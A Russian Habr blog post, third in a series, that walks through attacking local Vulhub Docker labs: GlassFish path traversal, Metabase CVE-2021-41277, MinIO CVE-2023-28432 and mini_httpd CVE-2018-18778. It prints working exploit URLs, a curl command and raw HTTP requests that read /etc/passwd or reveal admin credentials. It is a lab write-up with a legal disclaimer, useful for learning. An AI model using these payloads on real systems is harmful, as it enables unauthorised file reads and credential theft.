Всех приветствую, читатели Хабра!

Сегодня третья часть анализа защищенности веб-приложений Vulnhub.

Ссылки на первую и на вторую части.

Примечание

Правовая информация:

Данная статья создана исключительно в ознакомительных/образовательных/развивающих целях.
Автор статьи не несет ответственности за ваши действия.
Автор статьи ни к чему не призывает, более того напоминаю о существовании некоторых статей в уголовном кодексе РФ, их никто не отменял:
УК РФ Статья 272. Неправомерный доступ к компьютерной информации
УК РФ Статья 273. Создание, использование и распространение вредоносных компьютерных программ
УК РФ Статья 274. Нарушение правил эксплуатации средств хранения, обработки или передачи компьютерной информации и информационно-телекоммуникационных сетей

Все атаки я проводил на локальный сервер, внутри моего сетевого интерфейса, на моем компьютере, то есть все действия легитимны.

И как всегда просьба не переходить на личности в комментариях, если вы обнаружили ошибку недочет или неточность, просто без оскорблений напишите комментарий или напишите мне личным сообщением.

В этой статье будет снова анализ защищенности веб-приложений на докер. Ссылка на докер-образы и описание как поднимать эти машины на докер в первой части. Рекомендую ознакомиться.

Алгоритм атаки будет почти как в первой части:

Запуск виртуальной машины (уязвимого веб-приложения) в сетевом интерфейсе
Поиск ip-адреса локального хоста, бриджа (бридж-сетевой мост, некоторые машины в примерах ниже будут на бриджах) в сетевом интерфейсе. Сканирование цели
Энумерация (в одном из примеров)
Эксплуатация уязвимости. Либо ее обнаружение без эксплуатации. Тут примеров и техник как и программ масса

Приступим к практике

1) Первая машина glassfish. В образе машины номер CVE уязвимости не дан.

Как всегда собираем, запускаем машину в директории с файлом с расширением .yml смотрим сетевые интерфейсы:

sudo docker-compose build sudo docker-compose up -d ifconfig

Сканируем ip хоста виртуальной машины, видим фильрованый порт 4848:

nmap 172.19.0.1

После чего заходим в браузер, забиваем 172.19.0.1:4848, жмем согласится с риском

Видим страничку

Суть уязвимости заключается в следующем: мы добавляем в URL адрес строку к http://ip:port/, что позволяет нам получить доступ к файлу /etc/passwd. Вот эта строка

/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd

Или целиком в моем случае:

http://172.19.0.1:4848/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd

Результат:

В прошлых частях я упоминал почему это плохо. Повторюсь, /etc/passwd — файл, содержащий в текстовом формате список пользовательских учётных записей (аккаунтов). Является первым и основным источником информации о правах пользователя операционной системы. Существует в большинстве версий и вариантов UNIX-систем. Обязан присутствовать в POSIX-совместимой операционной системе. (https://wiki.ublinux.ru/ru/Использование/Настройка/Вводная_информация)

2) Вторая машина metabase, уязвимость CVE-2021-41277.

В предидущей директории не забываем уронить предидущую машину командой в терминале:

sudo docker-compose down

Далее в текущей директории с уязвимой машиной снова собираем, поднимаем, смотрим интерфейсы командами:

sudo docker-compose build sudo docker-compose up -d ifconfig

Сканируем ip:

nmap 172.19.0.1

Заходим по адресу 172.19.0.1:3000

В нем даже можно зарегистрироваться

После чего эксплуатируем уязвимость - при помощи запроса curl в терминале, и снова получаем доступ к /etc/passwd. В моем случае с учетом локального ip команда выглядит следующим образом:

curl -v http://172.19.0.1:3000/api/geojson?url=file:////etc/passwd

Снова доступ

3) minio, уязвимость CVE-2023-28432.

Роняем старую машину, собираем, запускаем новую, смотрим сеть

Правда в этом примере будет энумерация, и альтернативный способ решения

Для начала сканируем. Забегу вперед, у нас два открытых порта, и к обоим применим curl

nmap 172.19.0.1 curl 172.19.0.1:9000 curl 172.19.0.1:9001

Очень любопытный вывод

Ради практики провожу энумерацию dirsearch, хотя и безрезультатно.

dirsearch -u http://172.19.0.1:9000

Но почему именно на этот порт а не 9001? Потому что именно по нему практическим методом удалось зайти в браузере

Открываем burp suite. Перво наперво включаем захват пакетов (в предидущих частях сказано где это), открываем браузер и вбиваем адрес 172.19.0.1:9000

Полученные данные отправляемв репитер правой кнопкой мыши

В репитере подменяем реквест воттаким содержимым:

POST /minio/bootstrap/v1/verify HTTP/1.1 Host: your-ip:9000 Accept-Encoding: gzip, deflate Accept: / Accept-Language: en-US;q=0.9,en;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36 Connection: close Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 0

и жмем Send (отправить)

Прошу прощения за громоздкие изображения, но таковыми делаю для наглядности

После чего в респонсе появляются заветные строки

Логин и пароль minioadmin minioadmin-vulnhub. Да, уязвимость дает доступ к паролю админа.

Далее вводим в форму и получаем доступ

Альтернативный путь

Но я смог решить эту машину и альтернативно, а точнее альтернативным ПО. Есть очень интересный инструмент ZAProxy, который является очень неплохим конкурентом burp.

Открываю программу zaproxy

Нажимаю Automated Scan (изображен синей молнией).

После чего ввожу в него адрес для сканирования (хотя это даже можно назвать полноценной атакой)

Если что, вот этот адрес (естественно необходимо указать ip на котором запустилась уязвимая машина):

http://your-ip:9000/minio/bootstrap/v1/verify

После чего нажимаем Attack. То что происходит далее проще показать на видео или в живую, так как любой адрес введеный в эту строку сначала энумеруется, затем инструмент ZAProxy, при обнаружении адреса для авторизации (в данном случае тот который и был введен) начинает брутфорс. Я наблюдал как открылось сразу несколько браузеров, в каждом этот адрес и в полях автоматически подставлялись пары логинов-паролей. Но брутфорс не дал результата, энумерация прошла. Инструмент хорош, на введённой странице (или в древе, т.е. каталоге) он обнаруживает и помечает все уязвимости которые обнаруживает. Вот описание исходной страницы с указанием уязвимости кросс-сайтвого скриптинга XSS

Далее в правом верхнем углу программы есть своего рода репитер (реквест-респонс)

Вбиваю в реквест тот же самый запрос

POST /minio/bootstrap/v1/verify HTTP/1.1 Host: your-ip:9000 Accept-Encoding: gzip, deflate Accept: / Accept-Language: en-US;q=0.9,en;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36 Connection: close Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 0

с указанием актуального ip уязвимой машины. Также жму Send, получаю тот же результат

4) mini_httpd, уязвимость CVE-2018-18778

Снова роняем старую машину, запускаем новую, проверяем сетевые интерфейсы по аналогии с предыдущими примерами. Сканируем машину:

nmap -p- 172.23.0.1

Снова заходим в burp во вкладку Proxy, захват пакетов, открываем браузер. В адресной строке вбиваем ip:порт цели (в моем случае 172.23.0.1:8080)

Перехваченный пакет отправляем в репитер

В репитере снова подменяем содержимое реквеста вот таким:

GET /etc/passwd HTTP/1.1 Host: Accept-Encoding: gzip, deflate Accept: / Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close

Единственное что здесь дописать Host: 172.23.0.1:8080

После чего в респонс придет ответ

Ничего необычного - снова доступ к /etc/passwd

На сегодня все, уважаемые читатели Хабра, до новых встреч!

Атака на некоторые уязвимые веб-приложения Vulnhub. Эксплуатация уязвимостей. Часть 3